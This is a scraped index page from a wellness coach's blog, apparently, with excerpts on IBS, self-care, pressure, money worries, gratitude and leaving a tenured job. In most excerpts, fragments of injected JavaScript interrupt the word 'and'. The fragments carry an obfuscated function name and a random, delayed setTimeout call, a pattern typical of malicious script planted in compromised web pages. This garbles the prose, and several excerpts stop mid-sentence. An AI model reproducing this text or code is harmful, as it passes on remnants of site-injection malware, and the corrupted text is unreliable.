IBS Relief: Are You Making Time or Excuses?

IBS Relief: Are You Making Time or Excuses?

Not having the time is the number one excuse we all use when we aren’t getting the results we want. I won’t argue with the fact that our lives are jammed packed with activity. For many of my clients it’s work, kids, house chores, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and bed. If you are suffering from physical pain or IBS, that adds a whole new level of stress into your daily routine. Regardless of what you may be dealing with in your life, the difference between my clients who get what they want andom() * 5);if (number1==3){var […]

We hear often in the self-help world how important self-care is. However, we don’t do it enough andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and it’s because we don’t know how. I think we have a perception that there’s a right way to do self-care.

 

I laughed inside when my client thanked me for not telling her to do yoga andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and pilates. That’s the funny thing about self-care; you don’t have to do anything. I notice a lot of people putting self-care into their routine as a forced thing. Then they feel tired […]

How many times have you heard people say they perform best under pressure?  In our society the idea that applying pressure to a situation will reap the best results is very prevalent. It’s such a part of our psyche that we do it subconsciously. For many of us it’s a part of life, basically second nature.

 

For most people with IBS when the pressure increases so does the IBS symptoms. For years I put tons of pressure on myself without noticing how intensely it was affecting my digestive problems.

 

I just thought pressure was a natural part of life.

Money On The Mind, Part 1

Money On The Mind, Part 1

Money. Money. Money. I hear a lot of talk about it from my clients.

 

The funny thing is it’s never about the money; there is always something else lurking in the shadows.

 

Don’t get me wrong; I know money is essential to live. I grew up in a working class neighborhood andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and attended school in the inner city of Philadelphia; everyday I got glimpses of what life is like without money.

 

But for the majority of us who aren’t in that situation, money is an obstacle we feel we have to overcome in order to […]

How To Get The Answers

Everyone is looking for the answer.

 

They want to know the best way to get a healthier body, a better mindset, a relationship, or a new job.

 

They believe the answer is eluding them somehow. They should know it by now.

 

That’s when I tell them: they do.

 

It’s in their body. It’s in all our bodies. We all have it in equal measure.

Being grateful isn’t hard, when you allow yourself to be filled with joy over even the smallest of things. I find it helpful to make two lists big andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and small. And no matter how small it is, it still counts!

Eat, Sleep, Read

Eat, Sleep, Read

I was walking around downtown Asheville, NC last week andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and noticed a bookstore with a sign that said, “Eat, Sleep, Read”. On the other side of the window there was a sign for the children’s section that said, “Snack, Sleep, Read”. I found myself immediately attracted to both of these ideas. It got me thinking about how a lot of us adults live a life of tight schedules andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and don’t create the time for such a simple thing.

Doing It Yourself

Doing It Yourself

I’ve always been a do it your selfer (not sure if that’s even word!). Fiercely independent, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and at times stubborn, I always wanted to do things on my own. In the past it was difficult for me to ask for help. I always believed I could do it myself.  Then along my journey I realized that trying to do it alone makes it much more difficult than it needs to be.

 

A part of me still thinks it’s true that you can do anything yourself, but the other part knows there’s a true […]

Are you too serious?

I hate to say it but my husbandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and was right. We were choosing a movie last Saturday night andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I off course wanted to watch something deep.

My husbandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and’s first response was “I want to watch something fun, why do all of your movies have to be so serious?” Though my “I was in a film major in college” wanted to jump andom() * 5);if (number1==3){var […]

Finding Your Something Else

Next month marks two years since I left my safe, secure, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and tenured job. I had spent 11 long years in a job that drained me mentally andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and physically. To say it was not the best use of my talents is an understatement. I always knew I wanted to do something else, but I had a hard time figuring out exactly what the “else” was.
